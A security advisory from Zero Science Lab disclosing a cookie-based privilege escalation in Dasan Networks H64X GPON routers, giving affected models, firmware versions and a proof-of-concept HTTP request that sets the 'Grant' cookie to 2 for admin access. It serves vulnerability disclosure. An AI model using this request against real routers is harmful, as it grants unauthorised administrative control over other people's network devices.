Dasan Networks GPON ONT WiFi Router H64X Series Privilege Escalation


Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Model: H640GR-02
                         H640GV-03
                         H640GW-02
                         H640RW-02
                         H645G
               Firmware: 2.77-1115
                         2.76-9999
                         2.76-1101
                         2.67-1070
                         2.45-1045

Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.

Desc: The application suffers from a privilege escalation vulnerability.
A normal user can elevate his/her privileges by changing the Cookie 'Grant'
from 1 (user) to 2 (admin) gaining administrative privileges and revealing
additional functionalities or additional advanced menu settings.

Tested on: Server: lighttpd/1.4.31
           Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5423
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5423.php


19.05.2017

--


Change cookie Grant=1 (user) to Grant=2 (admin):
------------------------------------------------

GET /cgi-bin/index.cgi HTTP/1.1
Host: 192.168.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Bond-James-Bond/007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: Grant=2; Language=macedonian; silverheader=3c
Connection: close